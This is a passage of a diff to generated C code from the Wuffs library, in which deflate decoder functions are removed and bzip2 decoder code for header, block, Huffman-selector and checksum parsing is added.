-- while (true) { -- v_mark = ((uint64_t)(iop_a_dst - io0_a_dst)); -- { -- if (a_dst) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } -- wuffs_base__status t_0 = wuffs_deflate__decoder__decode_blocks(self, a_dst, a_src); -- v_status = t_0; -- if (a_dst) { -- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -- } -- } -- if ( ! wuffs_base__status__is_suspension(&v_status)) { -- status = v_status; -- if (wuffs_base__status__is_error(&status)) { -- goto exit; -- } else if (wuffs_base__status__is_suspension(&status)) { -- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -- goto exit; -- } -- goto ok; -- } -- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_transformed_history_count, wuffs_base__io__count_since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)))); -- wuffs_deflate__decoder__add_history(self, wuffs_base__io__since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- } -- -- ok: -- self->private_impl.p_do_transform_io[0] = 0; -- goto exit; -- } -- -- goto suspend; -- suspend: -- self->private_impl.p_do_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- -- goto exit; -- exit: -- if (a_dst && a_dst->data.ptr) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } -- -- return status; --} -- --// -------- func deflate.decoder.decode_blocks -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_deflate__decoder__decode_blocks( -- wuffs_deflate__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint32_t v_final = 0; -- uint32_t v_b0 = 0; -- uint32_t v_type = 0; -+ uint8_t v_c8 = 0; -+ uint32_t v_i = 0; -+ uint64_t v_tag = 0; - wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ uint32_t v_final_checksum_want = 0; - - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -34585,125 +34420,206 @@ wuffs_deflate__decoder__decode_blocks( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_decode_blocks[0]; -+ uint32_t coro_susp_point = self->private_impl.p_do_transform_io; - if (coro_susp_point) { -- v_final = self->private_data.s_decode_blocks[0].v_final; -+ v_i = self->private_data.s_do_transform_io.v_i; -+ v_tag = self->private_data.s_do_transform_io.v_tag; -+ v_final_checksum_want = self->private_data.s_do_transform_io.v_final_checksum_want; - } - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- label__outer__continue:; -- while (v_final == 0u) { -- while (self->private_impl.f_n_bits < 3u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; -+ } -+ if (v_c8 != 66u) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; -+ } -+ if (v_c8 != 90u) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_2 = *iop_a_src++; -+ v_c8 = t_2; -+ } -+ if (v_c8 != 104u) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_3 = *iop_a_src++; -+ v_c8 = t_3; -+ } -+ if ((v_c8 < 49u) || (57u < v_c8)) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); -+ goto exit; -+ } -+ self->private_impl.f_max_incl_block_size = (((uint32_t)(((uint8_t)(v_c8 - 48u)))) * 100000u); -+ while (true) { -+ v_tag = 0u; -+ v_i = 0u; -+ while (v_i < 48u) { -+ if (self->private_impl.f_n_bits <= 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_4 = *iop_a_src++; -+ v_c8 = t_4; - } -- uint32_t t_0 = *iop_a_src++; -- v_b0 = t_0; -+ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); -+ self->private_impl.f_n_bits = 8u; - } -- self->private_impl.f_bits |= (v_b0 << (self->private_impl.f_n_bits & 3u)); -- self->private_impl.f_n_bits = ((self->private_impl.f_n_bits & 3u) + 8u); -+ v_tag <<= 1u; -+ v_tag |= ((uint64_t)((self->private_impl.f_bits >> 31u))); -+ self->private_impl.f_bits <<= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ v_i += 1u; - } -- v_final = (self->private_impl.f_bits & 1u); -- v_type = ((self->private_impl.f_bits >> 1u) & 3u); -- self->private_impl.f_bits >>= 3u; -- self->private_impl.f_n_bits -= 3u; -- if (v_type == 0u) { -+ if (v_tag == 25779555029136u) { -+ break; -+ } else if (v_tag != 54156738319193u) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); -+ goto exit; -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ status = wuffs_bzip2__decoder__prepare_block(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ self->private_impl.f_block_size = 0u; -+ self->private_impl.f_decode_huffman_finished = false; -+ self->private_impl.f_decode_huffman_which = WUFFS_BZIP2__CLAMP_TO_5[((uint8_t)(self->private_data.f_huffman_selectors[0u] & 7u))]; -+ self->private_impl.f_decode_huffman_ticks = 50u; -+ self->private_impl.f_decode_huffman_section = 0u; -+ self->private_impl.f_decode_huffman_run_shift = 0u; -+ while ( ! self->private_impl.f_decode_huffman_finished) { - if (a_src) { - a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- status = wuffs_deflate__decoder__decode_uncompressed(self, a_dst, a_src); -+ v_status = wuffs_bzip2__decoder__decode_huffman_fast(self, a_src); - if (a_src) { - iop_a_src = a_src->data.ptr + a_src->meta.ri; - } -- if (status.repr) { -- goto suspend; -- } -- continue; -- } else if (v_type == 1u) { -- v_status = wuffs_deflate__decoder__init_fixed_huffman(self); -- if ( ! wuffs_base__status__is_ok(&v_status)) { -+ if (wuffs_base__status__is_error(&v_status)) { - status = v_status; -- if (wuffs_base__status__is_error(&status)) { -- goto exit; -- } else if (wuffs_base__status__is_suspension(&status)) { -- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -- goto exit; -- } -- goto ok; -+ goto exit; -+ } else if (self->private_impl.f_decode_huffman_finished) { -+ break; - } -- } else if (v_type == 2u) { - if (a_src) { - a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- status = wuffs_deflate__decoder__init_dynamic_huffman(self, a_src); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ status = wuffs_bzip2__decoder__decode_huffman_slow(self, a_src); - if (a_src) { - iop_a_src = a_src->data.ptr + a_src->meta.ri; - } - if (status.repr) { - goto suspend; - } -- } else { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_block); -+ } -+ wuffs_bzip2__decoder__invert_bwt(self); -+ self->private_impl.f_block_checksum_have = 4294967295u; -+ if (self->private_impl.f_original_pointer >= self->private_impl.f_block_size) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); - goto exit; - } -- self->private_impl.f_end_of_block = false; -- while (true) { -- if (sizeof(void*) == 4u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- v_status = wuffs_deflate__decoder__decode_huffman_fast32(self, a_dst, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- } else { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- v_status = wuffs_deflate__decoder__decode_huffman_fast64(self, a_dst, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- } -- if (wuffs_base__status__is_error(&v_status)) { -- status = v_status; -- goto exit; -- } -- if (self->private_impl.f_end_of_block) { -- goto label__outer__continue; -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- status = wuffs_deflate__decoder__decode_huffman_slow(self, a_dst, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ self->private_impl.f_flush_pointer = (self->private_data.f_bwt[self->private_impl.f_original_pointer] >> 12u); -+ self->private_impl.f_flush_repeat_count = 0u; -+ self->private_impl.f_flush_prev = 0u; -+ while (self->private_impl.f_block_size > 0u) { -+ wuffs_bzip2__decoder__flush_fast(self, a_dst); -+ if (self->private_impl.f_block_size <= 0u) { -+ break; - } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ status = wuffs_bzip2__decoder__flush_slow(self, a_dst); - if (status.repr) { - goto suspend; - } -- if (self->private_impl.f_end_of_block) { -- goto label__outer__continue; -+ } -+ self->private_impl.f_block_checksum_have ^= 4294967295u; -+ if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_block_checksum_have != self->private_impl.f_block_checksum_want)) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__bad_checksum); -+ goto exit; -+ } -+ self->private_impl.f_final_checksum_have = (self->private_impl.f_block_checksum_have ^ ((self->private_impl.f_final_checksum_have >> 31u) | ((uint32_t)(self->private_impl.f_final_checksum_have << 1u)))); -+ } -+ v_final_checksum_want = 0u; -+ v_i = 0u; -+ while (v_i < 32u) { -+ if (self->private_impl.f_n_bits <= 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_5 = *iop_a_src++; -+ v_c8 = t_5; - } -+ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); -+ self->private_impl.f_n_bits = 8u; - } -+ v_final_checksum_want <<= 1u; -+ v_final_checksum_want |= (self->private_impl.f_bits >> 31u); -+ self->private_impl.f_bits <<= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ v_i += 1u; -+ } -+ if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_final_checksum_have != v_final_checksum_want)) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__bad_checksum); -+ goto exit; - } - -+ goto ok; - ok: -- self->private_impl.p_decode_blocks[0] = 0; -+ self->private_impl.p_do_transform_io = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_blocks[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_decode_blocks[0].v_final = v_final; -+ self->private_impl.p_do_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_do_transform_io.v_i = v_i; -+ self->private_data.s_do_transform_io.v_tag = v_tag; -+ self->private_data.s_do_transform_io.v_final_checksum_want = v_final_checksum_want; - - goto exit; - exit: -@@ -34714,32 +34630,23 @@ wuffs_deflate__decoder__decode_blocks( - return status; - } - --// -------- func deflate.decoder.decode_uncompressed -+// -------- func bzip2.decoder.prepare_block - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_deflate__decoder__decode_uncompressed( -- wuffs_deflate__decoder* self, -- wuffs_base__io_buffer* a_dst, -+wuffs_bzip2__decoder__prepare_block( -+ wuffs_bzip2__decoder* self, - wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint32_t v_length = 0; -- uint32_t v_n_copied = 0; -+ uint8_t v_c8 = 0; -+ uint32_t v_i = 0; -+ uint32_t v_j = 0; -+ uint32_t v_selector = 0; -+ uint32_t v_sel_ff = 0; -+ uint8_t v_movee = 0; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); - -- uint8_t* iop_a_dst = NULL; -- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_dst && a_dst->data.ptr) { -- io0_a_dst = a_dst->data.ptr; -- io1_a_dst = io0_a_dst + a_dst->meta.wi; -- iop_a_dst = io1_a_dst; -- io2_a_dst = io0_a_dst + a_dst->data.len; -- if (a_dst->meta.closed) { -- io2_a_dst = iop_a_dst; -- } -- } - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; - const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -34751,387 +34658,287 @@ wuffs_deflate__decoder__decode_uncompressed( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_decode_uncompressed[0]; -+ uint32_t coro_susp_point = self->private_impl.p_prepare_block; - if (coro_susp_point) { -- v_length = self->private_data.s_decode_uncompressed[0].v_length; -+ v_i = self->private_data.s_prepare_block.v_i; -+ v_selector = self->private_data.s_prepare_block.v_selector; - } - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); -- goto exit; -- } -- self->private_impl.f_n_bits = 0u; -- self->private_impl.f_bits = 0u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- uint32_t t_0; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_uncompressed[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- while (true) { -+ self->private_impl.f_block_checksum_want = 0u; -+ v_i = 0u; -+ while (v_i < 32u) { -+ if (self->private_impl.f_n_bits <= 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint64_t* scratch = &self->private_data.s_decode_uncompressed[0].scratch; -- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -- if (num_bits_0 == 24) { -- t_0 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_0 += 8u; -- *scratch |= ((uint64_t)(num_bits_0)) << 56; -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; - } -+ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); -+ self->private_impl.f_n_bits = 8u; - } -- v_length = t_0; -- } -- if ((((v_length) & 0xFFFFu) + ((v_length) >> (32u - 16u))) != 65535u) { -- status = wuffs_base__make_status(wuffs_deflate__error__inconsistent_stored_block_length); -- goto exit; -- } -- v_length = ((v_length) & 0xFFFFu); -- while (true) { -- v_n_copied = wuffs_base__io_writer__limited_copy_u32_from_reader( -- &iop_a_dst, io2_a_dst,v_length, &iop_a_src, io2_a_src); -- if (v_length <= v_n_copied) { -- status = wuffs_base__make_status(NULL); -- goto ok; -- } -- v_length -= v_n_copied; -- if (((uint64_t)(io2_a_dst - iop_a_dst)) == 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); -- } else { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); -- } -+ self->private_impl.f_block_checksum_want <<= 1u; -+ self->private_impl.f_block_checksum_want |= (self->private_impl.f_bits >> 31u); -+ self->private_impl.f_bits <<= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ v_i += 1u; - } -- -- ok: -- self->private_impl.p_decode_uncompressed[0] = 0; -- goto exit; -- } -- -- goto suspend; -- suspend: -- self->private_impl.p_decode_uncompressed[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_decode_uncompressed[0].v_length = v_length; -- -- goto exit; -- exit: -- if (a_dst && a_dst->data.ptr) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- -- return status; --} -- --// -------- func deflate.decoder.init_fixed_huffman -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_deflate__decoder__init_fixed_huffman( -- wuffs_deflate__decoder* self) { -- uint32_t v_i = 0; -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- -- while (v_i < 144u) { -- self->private_data.f_code_lengths[v_i] = 8u; -- v_i += 1u; -- } -- while (v_i < 256u) { -- self->private_data.f_code_lengths[v_i] = 9u; -- v_i += 1u; -- } -- while (v_i < 280u) { -- self->private_data.f_code_lengths[v_i] = 7u; -- v_i += 1u; -- } -- while (v_i < 288u) { -- self->private_data.f_code_lengths[v_i] = 8u; -- v_i += 1u; -- } -- while (v_i < 320u) { -- self->private_data.f_code_lengths[v_i] = 5u; -- v_i += 1u; -- } -- v_status = wuffs_deflate__decoder__init_huff(self, -- 0u, -- 0u, -- 288u, -- 257u); -- if (wuffs_base__status__is_error(&v_status)) { -- return v_status; -- } -- v_status = wuffs_deflate__decoder__init_huff(self, -- 1u, -- 288u, -- 320u, -- 0u); -- if (wuffs_base__status__is_error(&v_status)) { -- return v_status; -- } -- return wuffs_base__make_status(NULL); --} -- --// -------- func deflate.decoder.init_dynamic_huffman -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_deflate__decoder__init_dynamic_huffman( -- wuffs_deflate__decoder* self, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint32_t v_bits = 0; -- uint32_t v_n_bits = 0; -- uint32_t v_b0 = 0; -- uint32_t v_n_lit = 0; -- uint32_t v_n_dist = 0; -- uint32_t v_n_clen = 0; -- uint32_t v_i = 0; -- uint32_t v_b1 = 0; -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- uint32_t v_mask = 0; -- uint32_t v_table_entry = 0; -- uint32_t v_table_entry_n_bits = 0; -- uint32_t v_b2 = 0; -- uint32_t v_n_extra_bits = 0; -- uint8_t v_rep_symbol = 0; -- uint32_t v_rep_count = 0; -- uint32_t v_b3 = 0; -- -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -- -- uint32_t coro_susp_point = self->private_impl.p_init_dynamic_huffman[0]; -- if (coro_susp_point) { -- v_bits = self->private_data.s_init_dynamic_huffman[0].v_bits; -- v_n_bits = self->private_data.s_init_dynamic_huffman[0].v_n_bits; -- v_n_lit = self->private_data.s_init_dynamic_huffman[0].v_n_lit; -- v_n_dist = self->private_data.s_init_dynamic_huffman[0].v_n_dist; -- v_n_clen = self->private_data.s_init_dynamic_huffman[0].v_n_clen; -- v_i = self->private_data.s_init_dynamic_huffman[0].v_i; -- v_mask = self->private_data.s_init_dynamic_huffman[0].v_mask; -- v_n_extra_bits = self->private_data.s_init_dynamic_huffman[0].v_n_extra_bits; -- v_rep_symbol = self->private_data.s_init_dynamic_huffman[0].v_rep_symbol; -- v_rep_count = self->private_data.s_init_dynamic_huffman[0].v_rep_count; -- } -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- v_bits = self->private_impl.f_bits; -- v_n_bits = self->private_impl.f_n_bits; -- while (v_n_bits < 14u) { -+ if (self->private_impl.f_n_bits <= 0u) { - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint32_t t_0 = *iop_a_src++; -- v_b0 = t_0; -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; - } -- v_bits |= (v_b0 << v_n_bits); -- v_n_bits += 8u; -- } -- v_n_lit = (((v_bits) & 0x1Fu) + 257u); -- if (v_n_lit > 286u) { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_literal_length_code_count); -- goto exit; -+ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); -+ self->private_impl.f_n_bits = 8u; - } -- v_bits >>= 5u; -- v_n_dist = (((v_bits) & 0x1Fu) + 1u); -- if (v_n_dist > 30u) { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_distance_code_count); -+ if ((self->private_impl.f_bits >> 31u) != 0u) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__unsupported_block_randomization); - goto exit; - } -- v_bits >>= 5u; -- v_n_clen = (((v_bits) & 0xFu) + 4u); -- v_bits >>= 4u; -- v_n_bits -= 14u; -+ self->private_impl.f_bits <<= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ self->private_impl.f_original_pointer = 0u; - v_i = 0u; -- while (v_i < v_n_clen) { -- while (v_n_bits < 3u) { -+ while (v_i < 24u) { -+ if (self->private_impl.f_n_bits <= 0u) { - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint32_t t_1 = *iop_a_src++; -- v_b1 = t_1; -+ uint8_t t_2 = *iop_a_src++; -+ v_c8 = t_2; - } -- v_bits |= (v_b1 << v_n_bits); -- v_n_bits += 8u; -+ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); -+ self->private_impl.f_n_bits = 8u; - } -- self->private_data.f_code_lengths[WUFFS_DEFLATE__CODE_ORDER[v_i]] = ((uint8_t)((v_bits & 7u))); -- v_bits >>= 3u; -- v_n_bits -= 3u; -+ self->private_impl.f_original_pointer <<= 1u; -+ self->private_impl.f_original_pointer |= (self->private_impl.f_bits >> 31u); -+ self->private_impl.f_bits <<= 1u; -+ self->private_impl.f_n_bits -= 1u; - v_i += 1u; - } -- while (v_i < 19u) { -- self->private_data.f_code_lengths[WUFFS_DEFLATE__CODE_ORDER[v_i]] = 0u; -+ v_i = 0u; -+ while (v_i < 256u) { -+ self->private_data.f_presence[v_i] = 0u; - v_i += 1u; - } -- v_status = wuffs_deflate__decoder__init_huff(self, -- 0u, -- 0u, -- 19u, -- 4095u); -- if (wuffs_base__status__is_error(&v_status)) { -- status = v_status; -- goto exit; -- } -- v_mask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); - v_i = 0u; -- while (v_i < (v_n_lit + v_n_dist)) { -- while (true) { -- v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_mask)]; -- v_table_entry_n_bits = (v_table_entry & 15u); -- if (v_n_bits >= v_table_entry_n_bits) { -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- break; -- } -+ while (v_i < 256u) { -+ if (self->private_impl.f_n_bits <= 0u) { - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint32_t t_2 = *iop_a_src++; -- v_b2 = t_2; -+ uint8_t t_3 = *iop_a_src++; -+ v_c8 = t_3; - } -- v_bits |= (v_b2 << v_n_bits); -- v_n_bits += 8u; -+ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); -+ self->private_impl.f_n_bits = 8u; - } -- if ((v_table_entry >> 24u) != 128u) { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- goto exit; -+ if ((self->private_impl.f_bits >> 31u) != 0u) { -+ self->private_data.f_presence[v_i] = 1u; - } -- v_table_entry = ((v_table_entry >> 8u) & 255u); -- if (v_table_entry < 16u) { -- self->private_data.f_code_lengths[v_i] = ((uint8_t)(v_table_entry)); -- v_i += 1u; -+ self->private_impl.f_bits <<= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ v_i += 16u; -+ } -+ self->private_data.f_scratch = 0u; -+ v_i = 0u; -+ while (v_i < 256u) { -+ if (self->private_data.f_presence[v_i] == 0u) { -+ v_i += 16u; - continue; - } -- v_n_extra_bits = 0u; -- v_rep_symbol = 0u; -- v_rep_count = 0u; -- if (v_table_entry == 16u) { -- v_n_extra_bits = 2u; -- if (v_i <= 0u) { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_length_repetition); -- goto exit; -+ while (true) { -+ if (self->private_impl.f_n_bits <= 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_4 = *iop_a_src++; -+ v_c8 = t_4; -+ } -+ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); -+ self->private_impl.f_n_bits = 8u; -+ } -+ self->private_data.f_scratch += (self->private_impl.f_bits >> 31u); -+ self->private_data.f_presence[(v_i & 255u)] = ((uint8_t)((self->private_impl.f_bits >> 31u))); -+ self->private_impl.f_bits <<= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ v_i += 1u; -+ if ((v_i & 15u) == 0u) { -+ break; - } -- v_rep_symbol = (self->private_data.f_code_lengths[(v_i - 1u)] & 15u); -- v_rep_count = 3u; -- } else if (v_table_entry == 17u) { -- v_n_extra_bits = 3u; -- v_rep_symbol = 0u; -- v_rep_count = 3u; -- } else if (v_table_entry == 18u) { -- v_n_extra_bits = 7u; -- v_rep_symbol = 0u; -- v_rep_count = 11u; -- } else { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- goto exit; - } -- while (v_n_bits < v_n_extra_bits) { -+ } -+ if ((self->private_data.f_scratch < 1u) || (256u < self->private_data.f_scratch)) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); -+ goto exit; -+ } -+ self->private_impl.f_num_symbols = (self->private_data.f_scratch + 2u); -+ self->private_data.f_scratch = 0u; -+ v_i = 0u; -+ while (v_i < 3u) { -+ if (self->private_impl.f_n_bits <= 0u) { - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint32_t t_3 = *iop_a_src++; -- v_b3 = t_3; -+ uint8_t t_5 = *iop_a_src++; -+ v_c8 = t_5; - } -- v_bits |= (v_b3 << v_n_bits); -- v_n_bits += 8u; -+ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); -+ self->private_impl.f_n_bits = 8u; - } -- v_rep_count += ((v_bits) & 